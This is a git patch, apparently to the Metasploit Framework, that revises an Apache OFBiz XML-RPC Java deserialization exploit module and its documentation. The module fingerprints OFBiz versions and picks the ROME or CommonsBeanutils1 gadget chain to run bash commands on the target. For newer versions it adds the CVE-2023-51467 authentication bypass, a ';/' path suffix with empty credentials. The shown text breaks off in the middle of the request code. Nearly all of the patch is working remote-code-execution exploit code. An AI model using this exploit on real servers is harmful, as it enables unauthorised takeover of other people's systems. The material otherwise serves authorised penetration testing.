From 84278b8e0e9e086f6e0daa60afcc63400e6471a9 Mon Sep 17 00:00:00 2001 From: h00die Date: Tue, 6 Feb 2024 16:45:02 -0500 Subject: [PATCH] fix ofbiz auto detection --- .../http/apache_ofbiz_deserialization.md | 11 +--- .../http/apache_ofbiz_deserialization.rb | 57 +++++++++++++------ 2 files changed, 43 insertions(+), 25 deletions(-) diff --git a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md index 9758650775dd..33dd7170e054 100644 --- a/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md +++ b/documentation/modules/exploit/linux/http/apache_ofbiz_deserialization.md @@ -4,12 +4,12 @@ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint `/webtools/control/xmlrpc` for -versions prior to 17.12.04. +versions prior to 17.12.01 using the `ROME` gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 -and use the `CommonsBeanutils1`` gadget chain. +and use the `CommonsBeanutils1` gadget chain. -Verified working on 18.12.09, and 15.12 +Verified working on 18.12.09, 17.12.01, and 15.12 ### Setup @@ -40,11 +40,6 @@ This uses a Linux dropper to execute code. ## Options -### AUTHBYPASS - -Utilize CVE-2023-49070 and CVE-2023-51467 to bypass auth, also changes the gadget chain to -`CommonsBeanutils1` to work with versions newer than ofbiz 17. - ## Scenarios ### Apache OFBiz from [Docker](#setup) 15.12. diff --git a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb index 7499d3ece9d4..1587cf208251 100644 --- a/modules/exploits/linux/http/apache_ofbiz_deserialization.rb +++ b/modules/exploits/linux/http/apache_ofbiz_deserialization.rb @@ -20,12 +20,12 @@ def initialize(info = {}) 'Description' => %q{ This module exploits a Java deserialization vulnerability in Apache OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for - versions prior to 17.12.04. + versions prior to 17.12.01 using the ROME gadget chain. Versions up to 18.12.11 are exploitable utilizing an auth bypass CVE-2023-51467 and use the CommonsBeanutils1 gadget chain. - Verified working on 18.12.09, and 15.12 + Verified working on 18.12.09, 17.12.01, and 15.12 }, 'Author' => [ 'Alvaro Muñoz', # Discovery @@ -86,31 +86,52 @@ def initialize(info = {}) register_options([ Opt::RPORT(8443), OptString.new('TARGETURI', [true, 'Base path', '/']), - OptBool.new('AUTHBYPASS', [true, 'Utilize CVE-2023-51467', true]) ]) end + # attempt to determine the version number. This attempt is flawed on versions + # < 17. 17+ has the Release on the /webtools/control/xmlrpc page. This page + # doesn't exist on versions < 17, so we just return back 'pre-17' + def version_from_login_page + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') + }) + return nil if res.nil? + return 'pre-17' unless res.code == 200 + # https://rubular.com/r/vputt9uJecevOk + if res.body =~ %r{Apache OFBiz\. Release\s+(?:release)?([\d.]+)} + return Regexp.last_match(1).strip + end + + 'unknown' + end + def check # Send an empty serialized object res = send_request_xmlrpc('') return CheckCode::Unknown('Target did not respond to check.') unless res - return CheckCode::Vulnerable('Target can deserialize arbitrary data.') if res.body.include?('Failed to read result object: null') + if res.body.include?('Failed to read result object: null') + @version = 'pre-17' + return CheckCode::Vulnerable('Target can deserialize arbitrary data.') + end - # newer versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz - res = send_request_cgi( - 'uri' => normalize_uri(target_uri.path, '/webtools/control/xmlrpc') - ) + # newer @versions respond w/o a content length, so just validate the URL returns something that looks like OFBiz + @version = version_from_login_page - return CheckCode::Unknown('Target did not respond to check.') unless res + return CheckCode::Unknown('Target did not respond to check.') if @version.nil? + return CheckCode::Unknown('Target version could not be determined') if @version == 'unknown' - return CheckCode::Detected('Apache OFBiz detected') if res.body.include?('Apache OFBiz.') + return CheckCode::Appears('Apache OFBiz pre version 17 detected') if @version == 'pre-17' + return CheckCode::Appears("Apache OFBiz version #{@version} detected") if Rex::Version.new(@version) < Rex::Version.new('18.12.11') - CheckCode::Safe('Target cannot deserialize arbitrary data.') + CheckCode::Safe("Apache OFBiz version #{@version} detected, and is unexploitable") end def exploit + @version = version_from_login_page if @version.nil? + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") case target['Type'] @@ -124,17 +145,19 @@ def exploit def execute_command(cmd, _opts = {}) vprint_status("Executing command: #{cmd}") - if datastore['AUTHBYPASS'] # assumes ~18.12 or so + if @version == 'pre-17' + vprint_status('Utilizing ROME deserialization chain') res = send_request_xmlrpc( # framework/webapp/lib/rome-0.9.jar - # used with 18.12 compatible, but not 15.12 compatible - generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both + # used with 15.12, but not 18.12 compatible + generate_java_deserialization_for_command('ROME', 'bash', cmd) ) else + vprint_status('Utilizing CommonsBeanutils1 deserialization chain') res = send_request_xmlrpc( # framework/webapp/lib/rome-0.9.jar - # used with 15.12, but not 18.12 compatible - generate_java_deserialization_for_command('ROME', 'bash', cmd) + # used with 18.12 compatible, but not 15.12 compatible + generate_java_deserialization_for_command('CommonsBeanutils1', 'bash', cmd) # works against both ) end @@ -174,7 +197,7 @@ def send_request_xmlrpc(data) XML } - if datastore['AUTHBYPASS'] + unless @version == 'pre-17' request['uri'] = normalize_uri(target_uri.path, '/webtools/control/xmlrpc;/') # tack on ;/ request['vars_get'] = { 'USERNAME' => '',